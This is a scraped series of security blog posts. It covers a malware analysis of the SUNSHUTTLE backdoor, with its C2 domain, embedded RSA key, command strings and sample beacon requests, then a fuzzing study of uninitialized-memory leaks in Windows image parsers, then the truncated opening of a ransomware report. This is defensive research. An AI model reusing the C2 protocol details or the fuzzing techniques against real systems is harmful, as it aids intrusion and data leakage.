TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2 8vMjAxMDAxMDEgRmlyZWZveC83NS4wBase64-encoded User-agent used in HTTPS requests Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines. The following URLs are leveraged for the “blend-in” requests: https://reyweb[.]com/icon.ico https://reyweb[.]com/icon.png https://reyweb[.]com/script.js https://reyweb[.]com/style.css https://reyweb[.]com/css/style.css https://reyweb[.]com/css/bootstrap.css https://reyweb[.]com/scripts/jquery.js https://reyweb[.]com/scripts/bootstrap.js https://cdn.mxpnl[.]com/ https://cdn.google[.]com/ https://cdn.jquery[.]com/ https://code.jquery[.]com/ https://cdn.cloudflare[.]com/ Session Key Mechanism SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key. The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample. Analysis is on-going on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines. —–BEGIN PRIVATE KEY—– MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY aDDhYp/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAoIBAGe4hPDe13OXTBQK uTAN+dEkV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCeM23xOaiB9KpchwsgRNeDp cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi +UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M 7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP wu6ZtG0CgYEA8vCFmAGmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMsZUHKALrZszKAnxP7 MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1 HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB poUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAr6f6oX4MIcBJzAKgf2faEv26MzeDi eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7 agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af HuqSdZutBDwERYvxLhZEys2P7XTwYGQ/GrEA8eeTms1FP9QGyofXcAh1G86w0Mp/ Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOlOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6 gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfS/nQna Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi —–END PRIVATE KEY— After the configuration is created or read from, SUNSHUTTLE enters a routine named “﻿main_request_session_key”. The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration. Inside the “﻿main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed: ywQdjLuHHC The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response. If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine. The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key. The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines. Commanding Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first issues a beacon to retrieve a command. After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run. Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution. Figure 2: Resolve command graph The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted. A check is performed to ensure the decrypted content doesn’t contain the following string: Cp5RTQ31R1 As noted, it is likely these strings are unique per sample and randomly generated at compilation. The decrypted content is parsed for certain unique strings.﻿ Unique string in decrypted response Meaning zSsP2TSJJm3a Update sleep range — save config ﻿aQJmWJzXdYK721mGBI3U Update “false requesting” value – save config ﻿W5VYP9Iu2uyHK Update C2 URL and User-agent – save config ﻿3487wD9t2OZkvqdwRpqPeE Send current timestamp to C2 ﻿ubFxROBRwfswVRWNjLC Update “activation” timestamp in the config — save config ﻿TMuhGdA9EHY Upload file to C2 if the file exists 1kG4NaRX83BCMgLo38Bjq Execute command – return “EXECED” if successful hB0upT6CUmdRaR2KVBvxrJ Execute command – return results/output N/A (other string criteria met) Provides terminal command execution N/A (other string criteria met) Download file from C2 Files Dropped After successful execution of the malware, it drops the following files to the victim’s system: <current_directory>\config.dat.tmp (MD5: Dynamic)Encrypted configuration file Persistence Method The SUNSHUTTLE malware was not observed setting its own persistence. It is likely the persistence is set outside of the execution of SUNSHUTTLE. Network Communications SUNSHUTTLE uses the cookie header to pass values to the C2. Additionally, a referrer is selected from the following list, presumably to make the traffic blend in if traffic is being decrypted for inspection: www.bing.com www.yahoo.com www.google.com www.facebook.com The cookie headers vary slightly depending on the operation being performed. The following is an example request to the C2 from the “request_session_key” routine. Victim to C2GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip Within the Cookie header, these values represent the following: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67 Timestamp MD5 contained within the configuration P5hCrabkKf=gZLXIeKI “P5hCrabkKf=” contains a unique string based on which routine is performing the request (see the following table). iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx “i4zICToyI70Yeidf1f7rWjm5foKX2Usx” is hard coded within the SUNSHUTTLE backdoor. It possibly represents a payload identifier b7XCoFSvs1YRW=78 Unknown purpose. This value is only included in request_session_key and retrieve_session_key requests. As mentioned, the cookie value “P5hCrabkKf=” contained in each request signifies the operation that is being performed. “P5hCrabkKf=” Cookie Value Meaning gZLXIeK main_request_session_key do1KiqzhQ main_clean_file t5UITQ2PdFg5 main_wget_file cIHiqD5p4da6OeB main_retrieve_session_key xpjQVt3bJzWuv main_send_file_part S4rgG1WifHU main_send_command_result After successful installation / initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.]com via TCP/443 HTTPS: Victim to C2GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.facebook.com Accept-Encoding: gzip Victim to C2GET /assets/index.php HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78 Referer: www.yahoo.com Accept-Encoding: gzip Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic. Examples of those requests are as follows: Victim to C2GET /icon.png HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip Victim to C2GET /css/style.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip Victim to C2GET /css/bootstrap.css HTTP/1.1 Host: reyweb[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.facebook.com Accept-Encoding: gzip Victim to LegitimateGET / HTTP/1.1 Host: cdn.cloudflare[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Referer: www.google.com Accept-Encoding: gzip Appendix: MITRE ATT&CK Framework Technique Description T1027 Obfuscated Files or Information T1027.002 Software Packing T1059.003 Windows Command Shell T1071.001 Web Protocols T1105 Ingress Tool Transfer T1140 Deobfuscate/Decode Files or Information T1573.001 Symmetric Cryptography Appendix: Detecting the Techniques FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post. Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FE_APT_Backdoor_Win64_SUNSHUTTLE_1 FE_APT_Backdoor_Win_SUNSHUTTLE_1 APT.Backdoor.Win.SUNSHUTTLE APT.Backdoor.Win.SUNSHUTTLE.MVX Endpoint Security Malware Protection (AV/MG) Trojan.GenericKD.34453763 Generic.mg.9466c865f7498a35 • Fuzzing Image Parsing in Windows, Part Two: Uninitialized Memory by Dhanesh Kizhakkinan on March 3, 2021 at 7:30 pm Continuing our discussion of image parsing vulnerabilities in Windows, we take a look at a comparatively less popular vulnerability class: uninitialized memory. In this post, we will look at Windows’ inbuilt image parsers—specifically for vulnerabilities involving the use of uninitialized memory. The Vulnerability: Uninitialized Memory In unmanaged languages, such as C or C++, variables are not initialized by default. Using uninitialized variables causes undefined behavior and may cause a crash. There are roughly two variants of uninitialized memory: Direct uninitialized memory usage: An uninitialized pointer or an index is used in read or write. This may cause a crash. Information leakage (info leak) through usage of uninitialized memory: Uninitialized memory content is accessible across a security boundary. An example: an uninitialized kernel buffer accessible from user mode, leading to information disclosure. In this post we will be looking closely at the second variant in Windows image parsers, which will lead to information disclosure in situations such as web browsers where an attacker can read the decoded image back using JavaScript. Detecting Uninitialized Memory Vulnerabilities Compared to memory corruption vulnerabilities such as heap overflow and use-after-free, uninitialized memory vulnerabilities on their own do not access memory out of bound or out of scope. This makes detection of these vulnerabilities slightly more complicated than memory corruption vulnerabilities. While direct uninitialized memory usage can cause a crash and can be detected, information leakage doesn’t usually cause any crashes. Detecting it requires compiler instrumentations such as MemorySanitizer or binary instrumentation/recompilation tools such as Valgrind. Detour: Detecting Uninitialized Memory in Linux Let’s take a little detour and look at detecting uninitialized memory in Linux and compare with Windows’ built-in capabilities. Even though compilers warn about some uninitialized variables, most of the complicated cases of uninitialized memory usage are not detected at compile time. For this, we can use a run-time detection mechanism. MemorySanitizer is a compiler instrumentation for both GCC and Clang, which detects uninitialized memory reads. A sample of how it works is given in Figure 1. cat sample.cc #include <stdio.h> int main() {     int *arr = new int[10];     if(arr[3] == 0)     {          printf(“Yay!\n”);     }     printf(“%08x\n”, arr[3]);     return 0; } $clang++ -fsanitize=memory -fno-omit-frame-pointer -g sample.cc$ ./a.out ==29745==WARNING: MemorySanitizer: use-of-uninitialized-value     #0 0x496db8  (/home/dan/uni/a.out+0x496db8)     #1 0x7f463c5f1bf6  (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)     #2 0x41ad69  (/home/dan/uni/a.out+0x41ad69) SUMMARY: MemorySanitizer: use-of-uninitialized-value (/home/dan/uni/a.out+0x496db8) Exiting Figure 1: MemorySanitizer detection of uninitialized memory Similarly, Valgrind can also be used to detect uninitialized memory during run-time. Detecting Uninitialized Memory in Windows Compared to Linux, Windows lacks any built-in mechanism for detecting uninitialized memory usage. While Visual Studio and Clang-cl recently introduced AddressSanitizer support, MemorySanitizer and other sanitizers are not implemented as of this writing. Some of the useful tools in Windows to detect memory corruption vulnerabilities such as PageHeap do not help in detecting uninitialized memory. On the contrary, PageHeap fills the memory allocations with patterns, which essentially makes them initialized. There are few third-party tools, including Dr.Memory, that use binary instrumentation to detect memory safety issues such as heap overflows, uninitialized memory usages, use-after-frees, and others. Detecting Uninitialized Memory in Image Decoding Detecting uninitialized memory in Windows usually requires binary instrumentation, especially when we do not have access to source code. One of the indicators we can use to detect uninitialized memory usage, specifically in the case of image decoding, is the resulting pixels after the image is decoded. When an image is decoded, it results in a set of raw pixels. If image decoding uses any uninitialized memory, some or all of the pixels may end up as random. In simpler words, decoding an image multiple times may result in different output each time if uninitialized memory is used. This difference of output can be used to detect uninitialized memory and aid writing a fuzzing harness targeting Windows image decoders. An example fuzzing harness is presented in Figure 2. #define ROUNDS 20 unsigned char* DecodeImage(char *imagePath) {       unsigned char *pixels = NULL;            // use GDI or WIC to decode image and get the resulting pixels       …       …            return pixels; } void Fuzz(char *imagePath) {       unsigned char *refPixels = DecodeImage(imagePath);            if(refPixels != NULL)       {             for(int i = 0; i < ROUNDS; i++)             {                   unsigned char *currPixels = DecodeImage(imagePath);                   if(!ComparePixels(refPixels, currPixels))                   {                         // the reference pixels and current pixels don’t match                         // crash now to let the fuzzer know of this file                         CrashProgram();                   }                   free(currPixels);             }             free(refPixels);       } } Figure 2: Diff harness The idea behind this fuzzing harness is not entirely new; previously, lcamtuf used a similar idea to detect uninitialized memory in open-source image parsers and used a web page to display the pixel differences. Fuzzing With the diffing harness ready, one can proceed to look for the supported image formats and gather corpuses. Gathering image files for corpus is considerably easy given the near unlimited availability on the internet, but at the same time it is harder to find good corpuses among millions of files with unique code coverage. Code coverage information for Windows image parsing is tracked from WindowsCodecs.dll. Note that unlike regular Windows fuzzing, we will not be enabling PageHeap this time as PageHeap “initializes” the heap allocations with patterns. Results During my research, I found three cases of uninitialized memory usage while fuzzing Windows built-in image parsers. Two of them are explained in detail in the next sections. Root cause analysis of uninitialized memory usage is non-trivial. We don’t have a crash location to back trace, and have to use the resulting pixel buffer to back trace to find the root cause—or use clever tricks to find the deviation. CVE-2020-0853 Let’s look at the rendering of the proof of concept (PoC) file before going into the root cause of this vulnerability. For this we will use lcamtuf’s HTML, which loads the PoC image multiple times and compares the pixels with reference pixels. Figure 3: CVE-2020-0853 As we can see from the resulting images (Figure 3), the output varies drastically in each decoding and we can assume this PoC leaks a lot of uninitialized memory. To identify the root cause of these vulnerabilities, I used Time Travel Debugging (TTD) extensively. Tracing back the execution and keeping track of the memory address is a tedious task, but TTD makes it only slightly less painful by keeping the addresses and values constant and providing unlimited forward and backward executions.  After spending quite a bit of time debugging the trace, I found the source of uninitialized memory in windowscodecs!CFormatConverter::Initialize. Even though the source was found, it was not initially clear why this memory ends up in the calculation of pixels without getting overwritten at all. To solve this mystery, additional debugging was done by comparing PoC execution trace against a normal TIFF file decoding. The following section shows the allocation, copying of uninitialized value to pixel calculation and the actual root cause of the vulnerability. Allocation and Use of Uninitialized Memory windowscodecs!CFormatConverter::Initialize allocates 0x40 bytes of memory, as shown in Figure 4. 0:000> r rax=0000000000000000 rbx=0000000000000040 rcx=0000000000000040 rdx=0000000000000008 rsi=000002257a3db448 rdi=0000000000000000 rip=00007ffaf047a238 rsp=000000ad23f6f7c0 rbp=000000ad23f6f841  r8=000000ad23f6f890  r9=0000000000000010 r10=000002257a3db468 r11=000000ad23f6f940 r12=000000000000000e r13=000002257a3db040 r14=000002257a3dbf60 r15=0000000000000000 iopl=0         nv up ei pl zr na po nc cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246 windowscodecs!CFormatConverter::Initialize+0x1c8: 00007ffaf047a238 ff15ea081200    call    qword ptr [windowscodecs!_imp_malloc (00007ffaf059ab28)] ds:00007ffaf059ab28={msvcrt!malloc (00007ffaf70e9d30)} 0:000> k  # Child-SP          RetAddr               Call Site 00 000000ad23f6f7c0 00007ffaf047c5fb     windowscodecs!CFormatConverter::Initialize+0x1c8 01 000000ad23f6f890 00007ffaf047c2f3     windowscodecs!CFormatConverter::Initialize+0x12b 02 000000ad23f6f980 00007ff634ca6dff     windowscodecs!CFormatConverterResolver::Initialize+0x273 //Uninitialized memory after allocation: 0:000> db @rax 000002257a3dbf70  d0 b0 3d 7a 25 02 00 00-60 24 3d 7a 25 02 00 00  ..=z%…$=z%… 000002257a3dbf80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ……………. 000002257a3dbf90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ……………. 000002257a3dbfa0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ……………. 000002257a3dbfb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ……………. 000002257a3dbfc0 00 00 00 00 00 00 00 00-64 51 7c 26 c3 2c 01 03 ……..dQ|&.,.. 000002257a3dbfd0 f0 00 2f 6b 25 02 00 00-f0 00 2f 6b 25 02 00 00 ../k%…../k%… 000002257a3dbfe0 60 00 3d 7a 25 02 00 00-60 00 3d 7a 25 02 00 00 .=z%….=z%… Figure 4: Allocation of memory The memory never gets written and the uninitialized values are inverted in windowscodecs!CLibTiffDecoderBase::HrProcessCopy and further processed in windowscodecs!GammaConvert_16bppGrayInt_128bppRGBA and in later called scaling functions. As there is no read or write into uninitialized memory before HrProcessCopy, I traced the execution back from HrProcessCopy and compared the execution traces with a normal tiff decoding trace. A difference was found in the way windowscodecs!CLibTiffDecoderBase::UnpackLine behaved with the PoC file compared to a normal TIFF file, and one of the function parameters in UnpackLine was a pointer to the uninitialized buffer. The UnpackLine function has a series of switch-case statements working with bits per sample (BPS) of TIFF images. In our PoC TIFF file, the BPS value is 0x09—which is not supported by UnpackLine—and the control flow never reaches a code path that writes to the buffer. This is the root cause of the uninitialized memory, which gets processed further down the pipeline and finally shown as pixel data. Patch After presenting my analysis to Microsoft, they decided to patch the vulnerability by making the files with unsupported BPS values as invalid. This avoids all decoding and rejects the file in the very early phase of its loading. CVE-2020-1397 Figure 5: Rendering of CVE-2020-1397 Unlike the previous vulnerability, the difference in the output is quite limited in this one, as seen in Figure 5. One of the simpler root cause analysis techniques that can be used to figure out a specific type of uninitialized memory usage is comparing execution traces of runs that produce two different outputs. This specific technique can be helpful when an uninitialized variable causes a control flow change in the program and that causes a difference in the outputs. For this, a binary instrumentation script was written, which logged all the instructions executed along with its registers and accessed memory values. Diffing two distinct execution traces by comparing the instruction pointer (RIP) value, I found a control flow change in windowscodecs!CCCITT::Expand2DLine due to a usage of an uninitialized value. Back tracing the uninitialized value using TTD trace was exceptionally useful for finding the root cause. The following section shows the allocation, population and use of the uninitialized value, which leads to the control flow change and deviance in the pixel outputs. Allocation windowscodecs!TIFFReadBufferSetup allocates 0x400 bytes of memory, as shown in Figure 6. windowscodecs!TIFFReadBufferSetup: … allocBuff = malloc(size); *(v3 + 16) |= 0x200u; *(v3 + 480) = allocBuff; 0:000> k # Child-SP RetAddr Call Site 00 000000aaa654f128 00007ff94404d4f3 windowscodecs!TIFFReadBufferSetup 01 000000aaa654f130 00007ff94404d3c9 windowscodecs!TIFFFillStrip+0xab 02 000000aaa654f170 00007ff94404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aaa654f1b0 00007ff9440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aaa654f1e0 00007ff944115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aaa654f2b0 00007ff944077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06 000000aaa654f2f0 00007ff944048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aaa654f320 00007ff944048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aaa654f3d0 00007ff944043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aaa654f4d0 00007ff94404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5 After allocation: 0:000> !heap -p -a @rax address 0000029744382140 found in _HEAP @ 29735190000 HEAP_ENTRY Size Prev Flags UserPtr UserSize – state 0000029744382130 0041 0000 [00] 0000029744382140 00400 – (busy) unknown!noop //Uninitialized memory after allocation 0:000> db @rax 0000029744382140 40 7c 5e 97 29 5d 5f ae-73 31 98 70 b8 4f da ac @|^.)]_.s1.p.O.. 0000029744382150 06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83 .QT..*#:O..’..,. 0000029744382160 3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9 :%….<….’.sA. 0000029744382170 fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7 …..>.EL…r.!. 0000029744382180 c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0 .D.;[email protected] 0000029744382190 85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66 ….;…x….Maf 00000297443821a0 16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44 .}[email protected]…T.D 00000297443821b0 66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94 f&(…R….4._o. Figure 6: Allocation of memory Partially Populating the Buffer 0x10 bytes are copied from the input file to this allocated buffer by TIFFReadRawStrip1. The rest of the buffer remains uninitialized with random values, as shown in Figure 7. if ( !TIFFReadBufferSetup(v2, a2, stripCount) ) { return 0i64; } if ( TIFFReadRawStrip1(v2, v3, sizeToReadFromFile, “TIFFFillStrip”) != sizeToReadFromFile ) 0:000> r rax=0000000000000001 rbx=000002973519a7e0 rcx=000002973519a7e0 rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000010 rip=00007ff94404d58c rsp=000000aaa654f128 rbp=0000000000000000 r8=0000000000000010 r9=00007ff94416fc38 r10=0000000000000000 r11=000000aaa654ef60 r12=0000000000000001 r13=0000000000000000 r14=0000029744377de0 r15=0000000000000001 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 windowscodecs!TIFFReadRawStrip1: 00007ff94404d58c 488bc4 mov rax,rsp 0:000> k # Child-SP RetAddr Call Site 00 000000aaa654f128 00007ff94404d491 windowscodecs!TIFFReadRawStrip1 01 000000aaa654f130 00007ff94404d3c9 windowscodecs!TIFFFillStrip+0x49 02 000000aaa654f170 00007ff94404d2dc windowscodecs!TIFFReadEncodedStrip+0x91 03 000000aaa654f1b0 00007ff9440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 04 000000aaa654f1e0 00007ff944115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 05 000000aaa654f2b0 00007ff944077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 06 000000aaa654f2f0 00007ff944048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 07 000000aaa654f320 00007ff944048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 08 000000aaa654f3d0 00007ff944043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 09 000000aaa654f4d0 00007ff94404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5 0:000> db 0000029744382140 0000029744382140 5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c [..U*..o.-..X#.l // 0x10 bytes from file0000029744382150 06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83 .QT..*#:O..’..,. // uninitialized memory 0000029744382160 3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9 :%….<….’.sA. 0000029744382170 fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7 …..>.EL…r.!. 0000029744382180 c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0 .D.;[email protected] 0000029744382190 85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66 ….;…x….Maf 00000297443821a0 16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44 .}[email protected]…T.D 00000297443821b0 66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94 f&(…R….4._o. Figure 7: Partial population of memory Use of Uninitialized Memory 0:000> r rax=0000000000000006 rbx=0000000000000007 rcx=0000000000000200 rdx=0000000000011803 rsi=0000029744382150 rdi=0000000000000000 rip=00007ff94414e837 rsp=000000aaa654f050 rbp=0000000000000001 r8=0000029744382550 r9=0000000000000000 r10=0000000000000008 r11=0000000000000013 r12=00007ff94418b7b0 r13=0000000000000003 r14=0000000023006c00 r15=00007ff94418bbb0 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 windowscodecs!CCCITT::Expand2DLine+0x253: 00007ff94414e837 0fb606 movzx eax,byte ptr [rsi] ds:0000029744382150=06 ; Uninitialized memory being accessed 0:000> db 0000029744382140 0000029744382140 5b cd 82 55 2a 94 e2 6f-d7 2d a5 93 58 23 00 6c [..U*..o.-..X#.l // 0x10 bytes from file0000029744382150 06 51 54 18 2e 2a 23 3a-4f ab 14 27 e9 c6 2c 83 .QT..*#:O..’..,. // uninitialized memory 0000029744382160 3a 25 b2 f6 9d e7 3c 09-cc a5 8e 27 b0 73 41 a9 :%….<….’.sA. 0000029744382170 fb 9b 02 b5 81 3e ea 45-4c 0f ab a7 72 e3 21 e7 …..>.EL…r.!. 0000029744382180 c8 44 84 3b c3 b5 44 8a-c9 6e 4b 2e 40 31 38 e0 .D.;[email protected] 0000029744382190 85 f0 bd 98 3b 0b ca b8-78 b1 9d d0 dd 4d 61 66 ….;…x….Maf 00000297443821a0 16 7d 0a e2 40 fa f8 45-4f 79 ab 95 d8 54 f9 44 .}[email protected]…T.D 00000297443821b0 66 26 28 00 b7 96 52 88-15 f0 ed 34 94 5f 6f 94 f&(…R….4._o. 0:000> k # Child-SP RetAddr Call Site 00 000000aaa654f050 00007ff94414df80 windowscodecs!CCCITT::Expand2DLine+0x253 01 000000aaa654f0d0 00007ff94412afcc windowscodecs!CCCITT::CCITT_Expand+0xac 02 000000aaa654f120 00007ff94404d3f0 windowscodecs!CCITTDecode+0x7c 03 000000aaa654f170 00007ff94404d2dc windowscodecs!TIFFReadEncodedStrip+0xb8 04 000000aaa654f1b0 00007ff9440396dd windowscodecs!CLibTiffDecoderBase::ReadStrip+0x74 05 000000aaa654f1e0 00007ff944115fca windowscodecs!CLibTiffDecoderBase::GetOneUnpackedLine+0x1ad 06 000000aaa654f2b0 00007ff944077400 windowscodecs!CLibTiffDecoderBase::HrProcessCopy+0x4a 07 000000aaa654f2f0 00007ff944048dbb windowscodecs!CLibTiffDecoderBase::HrReadScanline+0x20 08 000000aaa654f320 00007ff944048b40 windowscodecs!CDecoderBase::CopyPixels+0x23b 09 000000aaa654f3d0 00007ff944043c95 windowscodecs!CLibTiffDecoderBase::CopyPixels+0x80 0a 000000aaa654f4d0 00007ff94404563b windowscodecs!CDecoderFrame::CopyPixels+0xb5 Figure 8: Reading of uninitialized value Depending on the uninitialized value (Figure 8), different code paths are taken in Expand2DLine, which will change the output pixels, as shown in Figure 9. { { if ( v11 != 1 || a2 ) { unintValue = *++allocBuffer | (unintValue << 8); // uninit mem read } else { unintValue <<= 8; ++allocBuffer; } –v11; v16 += 8; } v29 = unintValue >> (v16 – 8); dependentUninitValue = *(l + 2i64 * v29); v16 -= *(l + 2i64 * v29 + 1); if ( dependentUninitValue >= 0 ) // path 1 break; if ( dependentUninitValue < ‘\xC0’ ) return 0xFFFFFFFFi64; // path 2 } if ( dependentUninitValue <= 0x3F ) // path xx break; Figure 9: Use of uninitialized memory in if conditions Patch Microsoft decided to patch this vulnerability by using calloc instead of malloc, which initializes the allocated memory with zeros. Conclusion Part Two of this blog series presents multiple vulnerabilities in Windows’ built-in image parsers. In the next post, we will explore newer supported image formats in Windows such as RAW, HEIF and more. • So Unchill: Melting UNC2198 ICEDID to Ransomware Operations by Bryce Abdo on February 25, 2021 at 4:00 pm Mandiant Advanced Practices (AP) closely tracks the shifting tactics, techniques, and procedures (TTPs) of financially motivated groups who severely disrupt organizations with ransomware. In May 2020, FireEye released a blog post detailing intrusion tradecraft associated with the deployment of MAZE. As of publishing this post, we track 11 distinct groups that have deployed MAZE ransomware. At the close of 